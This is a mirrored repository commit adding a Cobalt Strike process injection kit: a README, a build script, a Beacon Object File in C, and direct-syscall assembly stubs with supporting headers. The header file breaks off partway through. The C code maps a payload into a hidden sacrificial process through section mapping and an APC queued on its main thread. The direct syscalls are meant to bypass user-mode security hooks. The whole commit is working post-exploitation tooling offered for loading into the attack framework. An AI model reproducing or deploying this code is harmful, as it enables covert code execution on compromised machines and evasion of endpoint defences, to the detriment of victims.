mirror of
https://github.com/vgeorgiev90/CB_process_Inject
synced 2026-06-08 18:03:18 +00:00
Initial commit
Initial commit for cobalt strike process injection kit
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
# Process Inject Kit
|
||||
|
||||
Cobalt Strike 4.5 now supports two new Aggressor Script hooks
|
||||
`PROCESS_INJECT_SPAWN` and `PROCESS_INJECT_EXPLICIT`. These hooks allow
|
||||
a user to define how the fork&run and explicit injection techniques are
|
||||
implemented when executing post-exploitation commands instead of using
|
||||
the built-in techniques.
|
||||
|
||||
|
||||
#### PROCESS_INJECT_SPAWN
|
||||
|
||||
Hook to allow users to define how the fork and run process injection technique
|
||||
is implemented when executing post exploitation commands using a Beacon Object
|
||||
File (BOF).
|
||||
|
||||
|
||||
#### PROCESS_INJECT_EXPLICIT
|
||||
|
||||
Hook to allow users to define how the explicit process injection technique is
|
||||
implemented when executing post exploitation commands using a Beacon Object
|
||||
File (BOF).
|
||||
|
||||
|
||||
# Load into Cobalt Strike
|
||||
|
||||
Open the Scripts manager, Cobalt Strike -> Scripts
|
||||
|
||||
Load `<output directory>/process_inject/processinject.cna`
|
||||
|
||||
|
||||
### TODO
|
||||
- Fully implement our own process spawn with syscalls
|
||||
@@ -0,0 +1,80 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# make our output look nice...
|
||||
kit_name="Process Inject kit"
|
||||
|
||||
function print_good () {
|
||||
echo -e "[${kit_name}] \x1B[01;32m[+]\x1B[0m $1"
|
||||
}
|
||||
|
||||
function print_error () {
|
||||
echo -e "[${kit_name}] \x1B[01;31m[-]\x1B[0m $1"
|
||||
}
|
||||
|
||||
function print_info () {
|
||||
echo -e "[${kit_name}] \x1B[01;34m[*]\x1B[0m $1"
|
||||
}
|
||||
|
||||
#
|
||||
# Compile the 64-bit version of the object files
|
||||
#
|
||||
function compile_x64() {
|
||||
print_info "Compile ${1}.x64.o"
|
||||
${CCx64}-gcc -m64 $options -c src/${1}.c -o "${2}/${1}.x64.o"
|
||||
}
|
||||
|
||||
#
|
||||
# Compile the 32-bit version of the object files
|
||||
#
|
||||
function compile_x86() {
|
||||
print_info "Compile ${1}.x86.o"
|
||||
${CCx86}-gcc $options -c src/${1}.c -o "${2}/${1}.x86.o"
|
||||
}
|
||||
|
||||
|
||||
# compiler flags to pass to all builds. Use this to set optimization level or tweak other fun things.
|
||||
export options="-Os -masm=intel"
|
||||
|
||||
# change up the compiler if you need to
|
||||
export CCx86="i686-w64-mingw32"
|
||||
export CCx64="x86_64-w64-mingw32"
|
||||
|
||||
# check for a cross-compiler
|
||||
if [ $(command -v ${CCx64}-gcc) ]; then
|
||||
print_good "You have a x86_64 mingw--I will recompile the process inject beacon object files"
|
||||
else
|
||||
print_error "No cross-compiler detected. Try: apt-get install mingw-w64"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
|
||||
#
|
||||
# compile the process inject object files
|
||||
#
|
||||
|
||||
if [[ $# -ne 1 ]]; then
|
||||
print_error "Missing parameters"
|
||||
print_error "Provide a DIST directory to save the output"
|
||||
print_error "Example:"
|
||||
print_error ' ./build.sh /tmp/dist/process_inject'
|
||||
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# Clean
|
||||
|
||||
dist_directory="${1}"
|
||||
|
||||
rm -rf "${dist_directory}"
|
||||
mkdir -p "${dist_directory}"
|
||||
|
||||
compile_x64 process_inject_spawn "${dist_directory}"
|
||||
compile_x86 process_inject_spawn "${dist_directory}"
|
||||
|
||||
compile_x64 process_inject_explicit "${dist_directory}"
|
||||
compile_x86 process_inject_explicit "${dist_directory}"
|
||||
|
||||
sed 's/KITNAME/process_inject_kit/' ../../templates/helper_functions.template > "${dist_directory}/processinject.cna"
|
||||
cat ./script_template.cna >> "${dist_directory}/processinject.cna"
|
||||
|
||||
print_good "The Process inject object files are saved in '${dist_directory}'"
|
||||
@@ -0,0 +1,248 @@
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "syscalls.c"
|
||||
|
||||
/* is this an x64 BOF */
|
||||
BOOL is_x64() {
|
||||
#if defined _M_X64
|
||||
return TRUE;
|
||||
#elif defined _M_IX86
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
//Custom process creation with syscalls
|
||||
typedef struct {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
} ProcHands;
|
||||
|
||||
ProcHands CreateProc(
|
||||
const char *proc,
|
||||
const char *cwd,
|
||||
const char *cl)
|
||||
{
|
||||
ProcHands handles;
|
||||
//Attempt to spawn our own process
|
||||
UNICODE_STRING NtImagePath, CurrentDirectory, CommandLine;
|
||||
NTDLL$RtlInitUnicodeString(&NtImagePath, (PWSTR)proc);
|
||||
NTDLL$RtlInitUnicodeString(&CurrentDirectory, (PWSTR)cwd);
|
||||
NTDLL$RtlInitUnicodeString(&CommandLine, (PWSTR)cl);
|
||||
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
|
||||
|
||||
NTSTATUS status = NTDLL$RtlCreateProcessParametersEx(
|
||||
&ProcessParameters,
|
||||
&NtImagePath,
|
||||
NULL,
|
||||
&CurrentDirectory,
|
||||
&CommandLine,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "RtlCreateProcessParametersEx failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
PS_CREATE_INFO CreateInfo = { 0 };
|
||||
CreateInfo.Size = sizeof(CreateInfo);
|
||||
CreateInfo.State = PsCreateInitialState;
|
||||
|
||||
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)NTDLL$RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)*3);
|
||||
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
|
||||
|
||||
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
|
||||
AttributeList->Attributes[0].Size = NtImagePath.Length;
|
||||
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
|
||||
|
||||
status = NtCreateUserProcess(
|
||||
&handles.hProcess,
|
||||
&handles.hThread,
|
||||
PROCESS_ALL_ACCESS,
|
||||
THREAD_ALL_ACCESS,
|
||||
NULL,
|
||||
NULL,
|
||||
PROCESS_CREATE_FLAGS_SUSPENDED, //proc flags
|
||||
THREAD_CREATE_FLAGS_CREATE_SUSPENDED, //thread flags
|
||||
ProcessParameters,
|
||||
&CreateInfo,
|
||||
AttributeList);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtCreateUserProcess failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
// Clean up
|
||||
NTDLL$RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
|
||||
NTDLL$RtlDestroyProcessParameters(ProcessParameters);
|
||||
return handles;
|
||||
}
|
||||
|
||||
/* See gox86 and gox64 entry points */
|
||||
void go(char * args, int alen, BOOL x86) {
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
datap parser;
|
||||
short ignoreToken;
|
||||
char * dllPtr;
|
||||
int dllLen;
|
||||
|
||||
/* Warn about crossing to another architecture. */
|
||||
if (!is_x64() && x86 == FALSE) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
|
||||
}
|
||||
if (is_x64() && x86 == TRUE) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
|
||||
}
|
||||
|
||||
/* Extract the arguments */
|
||||
BeaconDataParse(&parser, args, alen);
|
||||
ignoreToken = BeaconDataShort(&parser);
|
||||
dllPtr = BeaconDataExtract(&parser, &dllLen);
|
||||
|
||||
/* zero out these data structures */
|
||||
__stosb((void *)&si, 0, sizeof(STARTUPINFO));
|
||||
__stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
//attributes for section create
|
||||
OBJECT_ATTRIBUTES oattr;
|
||||
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
|
||||
|
||||
/* setup the other values in our startup info structure */
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
/* Ready to go: spawn, inject and cleanup */
|
||||
if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
//Attempt to spawn our own process
|
||||
ProcHands handles = CreateProc(
|
||||
L"\\??\\C:\\Windows\\System32\\cmd.exe",
|
||||
L"C:\\Windows\\System32",
|
||||
L"\"C:\\Windows\\System32\\cmd.exe /path/to/param.txt\""
|
||||
);
|
||||
*/
|
||||
|
||||
//NtCreateSection
|
||||
HANDLE shand;
|
||||
LARGE_INTEGER sc_size = { dllLen };
|
||||
|
||||
NTSTATUS status = NtCreateSection(
|
||||
&shand,
|
||||
SECTION_ALL_ACCESS,
|
||||
&oattr,
|
||||
&sc_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
SEC_COMMIT,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//NtMapViewOfSection to local process
|
||||
PVOID local_mem = NULL;
|
||||
SIZE_T vSize = 0;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
KERNEL32$GetCurrentProcess(),
|
||||
&local_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
mymemcopy(local_mem, dllPtr, dllLen);
|
||||
|
||||
//NtMapViewOfSection to the sacrifical process
|
||||
PVOID remote_mem = NULL;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
pi.hProcess,
|
||||
&remote_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_EXECUTE_READ
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//Queue APC on the main thread
|
||||
status = NtQueueApcThread(
|
||||
pi.hThread,
|
||||
(PIO_APC_ROUTINE)remote_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtQueueApcThread failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//Set the thread in alerted state so the APC can be executed
|
||||
status = NtAlertThread(pi.hThread);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtAlertThread failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
status = NtResumeThread(pi.hThread, NULL);
|
||||
if (status != STATUS_SUCCESS)
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtResumeThread failed with error code: 0x%X", status);
|
||||
}
|
||||
|
||||
//Unmap the created section from the local process
|
||||
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
//BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
}
|
||||
|
||||
void gox86(char * args, int alen) {
|
||||
go(args, alen, TRUE);
|
||||
}
|
||||
|
||||
void gox64(char * args, int alen) {
|
||||
go(args, alen, FALSE);
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
#if _WIN64
|
||||
|
||||
|
||||
#define ZwCreateSection NtCreateSection
|
||||
|
||||
__asm__("NtCreateSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0B8929801 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwMapViewOfSection NtMapViewOfSection
|
||||
|
||||
__asm__("NtMapViewOfSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x03F91DEC2 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwQueueApcThread NtQueueApcThread
|
||||
|
||||
__asm__("NtQueueApcThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0100F15A6 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwAlertThread NtAlertThread
|
||||
|
||||
__asm__("NtAlertThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x06BB897D7 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwResumeThread NtResumeThread
|
||||
|
||||
__asm__("NtResumeThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0103F5A11 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwUnmapViewOfSection NtUnmapViewOfSection
|
||||
|
||||
__asm__("NtUnmapViewOfSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x01CCC2661 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwClose NtClose
|
||||
|
||||
__asm__("NtClose: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0C5592A11 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwOpenProcess NtOpenProcess
|
||||
|
||||
__asm__("NtOpenProcess: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x04DD14C44 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwCreateThreadEx NtCreateThreadEx
|
||||
|
||||
__asm__("NtCreateThreadEx: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x004B8C602 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwCreateUserProcess NtCreateUserProcess
|
||||
|
||||
__asm__("NtCreateUserProcess: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x049DE4A40 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,858 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
// Ref: https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h
|
||||
// Ref: https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
|
||||
// Ref: https://offensivedefence.co.uk/posts/ntcreateuserprocess/
|
||||
|
||||
#ifndef SW2_HEADER_H_
|
||||
#define SW2_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
#include "syscalls-asm.h"
|
||||
|
||||
|
||||
#ifdef _WIN64
|
||||
#define ULONGSIZE ULONG64
|
||||
#else
|
||||
#define ULONGSIZE ULONG32
|
||||
#endif
|
||||
|
||||
#ifdef _WIN64
|
||||
#define PEB_OFFSET 0x60
|
||||
#define READ_MEMLOC __readgsqword
|
||||
#else
|
||||
#define PEB_OFFSET 0x30
|
||||
#define READ_MEMLOC __readfsdword
|
||||
#endif
|
||||
|
||||
#define SW2_SEED 0x655E97F3
|
||||
|
||||
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
||||
#define SW2_MAX_ENTRIES 500
|
||||
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
||||
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW2_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW2_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW2_PEB_LDR_DATA Ldr;
|
||||
} SW2_PEB, *PSW2_PEB;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE
|
||||
{
|
||||
ULONG_PTR Attribute; // PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372)
|
||||
SIZE_T Size; // Size of Value or *ValuePtr
|
||||
union
|
||||
{
|
||||
ULONG_PTR Value; // Reserve 8 bytes for data (such as a Handle or a data pointer)
|
||||
PVOID ValuePtr; // data pointer
|
||||
};
|
||||
PSIZE_T ReturnLength; // Either 0 or specifies size of data returned to caller via "ValuePtr"
|
||||
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT, *PSECTION_INHERIT;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LIST
|
||||
{
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
|
||||
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
NTSTATUS Status;
|
||||
VOID* Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved);
|
||||
|
||||
|
||||
//NtCreateUserProcess structs start
|
||||
#define GDI_BATCH_BUFFER_SIZE 310
|
||||
#define GDI_HANDLE_BUFFER_SIZE32 34
|
||||
#define GDI_HANDLE_BUFFER_SIZE64 60
|
||||
|
||||
#ifndef _WIN64
|
||||
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
|
||||
#else
|
||||
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
|
||||
#endif
|
||||
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
|
||||
|
||||
typedef struct _PROCESSOR_NUMBER {
|
||||
WORD Group;
|
||||
BYTE Number;
|
||||
BYTE Reserved;
|
||||
} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER;
|
||||
|
||||
typedef struct _TEB_ACTIVE_FRAME_CONTEXT
|
||||
{
|
||||
ULONG Flags;
|
||||
PSTR FrameName;
|
||||
} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
|
||||
|
||||
typedef struct _TEB_ACTIVE_FRAME
|
||||
{
|
||||
ULONG Flags;
|
||||
struct _TEB_ACTIVE_FRAME* Previous;
|
||||
PTEB_ACTIVE_FRAME_CONTEXT Context;
|
||||
} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
|
||||
|
||||
typedef struct _PEB_LDR_DATA
|
||||
{
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID EntryInProgress;
|
||||
BOOLEAN ShutdownInProgress;
|
||||
HANDLE ShutdownThreadId;
|
||||
} PEB_LDR_DATA, *PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _GDI_TEB_BATCH
|
||||
{
|
||||
ULONG Offset;
|
||||
ULONG_PTR HDC;
|
||||
ULONG Buffer[GDI_BATCH_BUFFER_SIZE];
|
||||
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_STACK
|
||||
{
|
||||
struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame;
|
||||
LIST_ENTRY FrameListCache;
|
||||
ULONG Flags;
|
||||
ULONG NextCookieSequenceNumber;
|
||||
ULONG StackId;
|
||||
} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK;
|
||||
|
||||
#define RTL_MAX_DRIVE_LETTERS 32
|
||||
|
||||
typedef struct _CURDIR
|
||||
{
|
||||
UNICODE_STRING DosPath;
|
||||
HANDLE Handle;
|
||||
} CURDIR, *PCURDIR;
|
||||
|
||||
typedef struct _RTL_DRIVE_LETTER_CURDIR
|
||||
{
|
||||
USHORT Flags;
|
||||
USHORT Length;
|
||||
ULONG TimeStamp;
|
||||
UNICODE_STRING DosPath;
|
||||
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS
|
||||
{
|
||||
ULONG MaximumLength;
|
||||
ULONG Length;
|
||||
|
||||
ULONG Flags;
|
||||
